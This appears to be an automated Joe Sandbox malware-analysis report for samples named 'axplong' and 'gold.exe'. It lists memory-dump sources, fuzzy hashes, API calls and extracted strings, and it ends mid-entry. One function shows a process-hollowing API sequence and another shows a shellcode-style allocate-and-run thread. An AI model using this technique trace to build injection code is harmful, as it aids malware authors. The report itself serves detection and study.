Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af705b7f1c3e5e378c407ea5f545c8c774ce00ac85559ec9921b1b843c63b299
Instruction ID: 584f9f6b2d2c81664d274aa5390e898188041e40d767b6e520f12ab493bcaf49
Opcode Fuzzy Hash: af705b7f1c3e5e378c407ea5f545c8c774ce00ac85559ec9921b1b843c63b299
Instruction Fuzzy Hash: 0611CA23F30C255B675C817D8C1727AA6D2EBD825030F433AD826E7384F994DE13D290

Function 008D8700 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 6cf8fe8d53214cdefc9703f70bbf6de74835b597627dccaee7fc9aaee7ef4fd2
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: E6112B7B200082C3D6048A6EC8F86BAA795FBC532073D43BBD152CB754DA2299459600

Function 008C643B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7faf0180101bc0c914b86d9064cecc9e7e726baf8749b24861cf35afd385fe38
Instruction ID: 27d8cbd43c6118cd98843882542db654f5d29dd9a26e73d6d0a7e3b8e8df94e7
Opcode Fuzzy Hash: 7faf0180101bc0c914b86d9064cecc9e7e726baf8749b24861cf35afd385fe38
Instruction Fuzzy Hash: 32E08C31141508AECF2A7B18C808F5D3B7AFF02355F008828FC0486222DB35DDA1D985

Function 008CA1A2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: c4a4a190243cde42b13f042cf76e4c5ba3ac9c6454d62ed7125093b228c449e4
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: E7E04632A11228EBCB19DB8C8904E8AF2BCFB48B08F29049BB502D3250C270DE00C7D5

Function 008A2DF0 Relevance: 17.9, APIs: 3, Strings: 7, Instructions: 434COMMON

Download Yara Rule

Strings

246122658369, xrefs: 008A33A4
stoi argument out of range, xrefs: 008A2DF0, 008A4239
invalid stoi argument, xrefs: 008A422A
Xst=, xrefs: 008A338A
Gl==, xrefs: 008A366E
Inhk, xrefs: 008A375F
9wGTaHilQw==, xrefs: 008A2E97

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: 246122658369$9wGTaHilQw==$Gl==$Inhk$Xst=$invalid stoi argument$stoi argument out of range
API String ID: 0-301961687
Opcode ID: 2875d8274c9cd8f19575112af38456b32ab03d22944fbbac79f28d6a0680b640
Instruction ID: 889dfe37a5a624b157bdeafb4902ce8b4673b8cc80e51361aba92aca28b1fbe6
Opcode Fuzzy Hash: 2875d8274c9cd8f19575112af38456b32ab03d22944fbbac79f28d6a0680b640
Instruction Fuzzy Hash: 4D02AF70900248DFEF15EFA8C845BDEBBB5FF06304F544158E805E7682D7799A84CBA2

Function 008C4750 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 008C4787
___except_validate_context_record.LIBVCRUNTIME ref: 008C478F
_ValidateLocalCookies.LIBCMT ref: 008C4818
__IsNonwritableInCurrentImage.LIBCMT ref: 008C4843
_ValidateLocalCookies.LIBCMT ref: 008C4898

Strings

csm, xrefs: 008C482D

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 5609135627b5d99feac999744ce2b5f1ad33e21871e7e5aeaaebb9b23cc2a110
Instruction ID: 9948ca4955325655a92a3155e112133bfbed2efb76b66921ec4b9812897dccf3
Opcode Fuzzy Hash: 5609135627b5d99feac999744ce2b5f1ad33e21871e7e5aeaaebb9b23cc2a110
Instruction Fuzzy Hash: D751E234A002889BCF10DF68C891FAE7BB5FF45324F149069E919DB352D732EA85CB91

Function 008C70A9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 008C70EB

Strings

.bat, xrefs: 008C711A
.com, xrefs: 008C712B
.cmd, xrefs: 008C7109
.exe, xrefs: 008C70F8

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 167b418cc42caaacff3d45bcb321b5e089564652bac1eb9541328c45e2da2752
Instruction ID: df34c92c91c854b78ad4826466230086a7f6dd0a414093e3fa4d94280b2aa4bd
Opcode Fuzzy Hash: 167b418cc42caaacff3d45bcb321b5e089564652bac1eb9541328c45e2da2752
Instruction Fuzzy Hash: 4E01A527648A6625161464199C02F366BACFF92BB4B1A002FF954E72C3EE78DC014591

Function 00892DC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00892E5F
__Mtx_unlock.LIBCPMT ref: 00892ECC
__Cnd_broadcast.LIBCPMT ref: 00892EE3
__Mtx_unlock.LIBCPMT ref: 00892FF5
__Mtx_unlock.LIBCPMT ref: 0089309B

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 45d5f4b32a9a735eaa6915cb532795e7a071a19547db0baa02111b85fdf2ead3
Instruction ID: d23fe510b666eb2198f50af5821dee1e9daa42606e3d31c385f852bbeedf6a10
Opcode Fuzzy Hash: 45d5f4b32a9a735eaa6915cb532795e7a071a19547db0baa02111b85fdf2ead3
Instruction Fuzzy Hash: E6A1E470A01615AFEF21EF68C944B6AB7F8FF05314F084569E815D7642EB34EA04CBD2

Function 008CC990 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 008CCA17

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction ID: 5f347a6d4632ac113a5caf4371dd839540b007c5ea63d179197ff0e67f3abf2d
Opcode Fuzzy Hash: 7941c91dc3c81985f55d5af0d0e5d35b4c2fcc41726f6f06d2574da038ee3747
Instruction Fuzzy Hash: 2FB1E07290029A9FDB15CF68C882BAEBBB5FF55350F14816EE849EB241D634CD41CB61

Function 008ABA72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 008ABACA
__Xtime_diff_to_millis2.LIBCPMT ref: 008ABAE4
_xtime_get.LIBCPMT ref: 008ABB07
__Xtime_diff_to_millis2.LIBCPMT ref: 008ABB13

Memory Dump Source

Source File: 00000002.00000002.2753239223.0000000000891000.00000040.00000001.01000000.00000007.sdmp, Offset: 00890000, based on PE: true

Associated: 00000002.00000002.2752217109.0000000000890000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753239223.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2753851683.00000000008F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.00000000008FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000A84000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000B9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BA5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2754213493.0000000000BB3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2765321558.0000000000BB4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2767287638.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2768333331.0000000000D5A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_890000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 4326a53041558942e544ca33561b5f481c6c419ded97ac86f896764ff75d20d9
Instruction ID: 24c515aadd0adc7d97733c6940fc53b86f85037147c1b552739eb30b0737b7f7
Opcode Fuzzy Hash: 4326a53041558942e544ca33561b5f481c6c419ded97ac86f896764ff75d20d9
Instruction Fuzzy Hash: AC211B71E00119AFEF00EFA8D8819BEB7B8FF4A710F500055FA01E7651DB75AD119BA1

Analysis Process: gold.exePID: 7796, Parent PID: 3932COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	9.6%
Signature Coverage:	9.6%
Total number of Nodes:	83
Total number of Limit Nodes:	12

Executed Functions

Function 013D018D Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 013D02FC
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 013D030F
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 013D032D
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 013D0351
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 013D037C
TerminateProcess.KERNELBASE(?,00000000), ref: 013D039B
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 013D03D4
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 013D041F
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 013D045D
Wow64SetThreadContext.KERNEL32(?,?), ref: 013D0499
ResumeThread.KERNELBASE(?), ref: 013D04A8

Strings

ress, xrefs: 013D0217
aryA, xrefs: 013D01D3
Load, xrefs: 013D01CB
GetP, xrefs: 013D020F

Memory Dump Source

Source File: 00000007.00000002.2273529545.00000000013D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 013D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_13d0000_gold.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: GetP$Load$aryA$ress
API String ID: 2440066154-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 329365c315e77270a86b784068b4dabd8c930aa7090b514efce3b88696d0c54f
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 2BB1E57664028AAFDB60CF68CC80BDA77A5FF88714F158524FA0CAB341D774FA518B94

Function 008D3D72 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800), ref: 008D3E33

Strings

api-ms-, xrefs: 008D3DC9
ext-ms-, xrefs: 008D3DDD

Memory Dump Source

Source File: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 34e6d33cbff25aed331dd97f0cf4bf24ede66c5e9c56ed2f46ba47b67de10cf2
Instruction ID: ca57cb59c8ee84f89c1eac2d4043c5314358c965e5458215a13d0421bdf5d5a4
Opcode Fuzzy Hash: 34e6d33cbff25aed331dd97f0cf4bf24ede66c5e9c56ed2f46ba47b67de10cf2
Instruction Fuzzy Hash: 5221E732A05215EBD7219B259C45B5B3769FB817A4F240221F90AEB3D1DB30EE00DAE1

Function 008F9710 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040), ref: 008F972B
CreateThread.KERNELBASE(00000000,00000000,?,MZx,00000000,00000000), ref: 008F9770
WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000), ref: 008F9781

Strings

MZx, xrefs: 008F9758

Memory Dump Source

Source File: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: AllocCreateObjectSingleThreadVirtualWait
String ID: MZx
API String ID: 2947710671-2575928145
Opcode ID: 94f07f47bf12a856af774cc42afef1671b80fddddccff796e7aa53c67603dc51
Instruction ID: 4c28dfd196cf0fee5dbe396753278197d13d1202914ed5925fea81b042bf6a14
Opcode Fuzzy Hash: 94f07f47bf12a856af774cc42afef1671b80fddddccff796e7aa53c67603dc51
Instruction Fuzzy Hash: D7F06DB5F85308BBEB20AFE88C0BF9D7A34EB44B51F204155BB04BA2C1D9B465804B5A

Function 008F97B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNEL32 ref: 008F97C8
GetNumberOfEventLogRecords.ADVAPI32(00000000,00000000), ref: 008F97E7

Strings

Madino Mino, xrefs: 008F97B6

Memory Dump Source

Source File: 00000007.00000002.2272631585.00000000008F9000.00000020.00000001.01000000.00000009.sdmp, Offset: 00840000, based on PE: true

Associated: 00000007.00000002.2272594886.0000000000840000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000841000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.000000000084C000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.0000000000850000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272631585.00000000008F3000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272947960.0000000000910000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2272998524.000000000096D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273034849.000000000096E000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273073736.000000000096F000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000971000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.2273107656.0000000000974000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_840000_gold.jbxd

Similarity

API ID: ConsoleEventFreeNumberRecords
String ID: Madino Mino
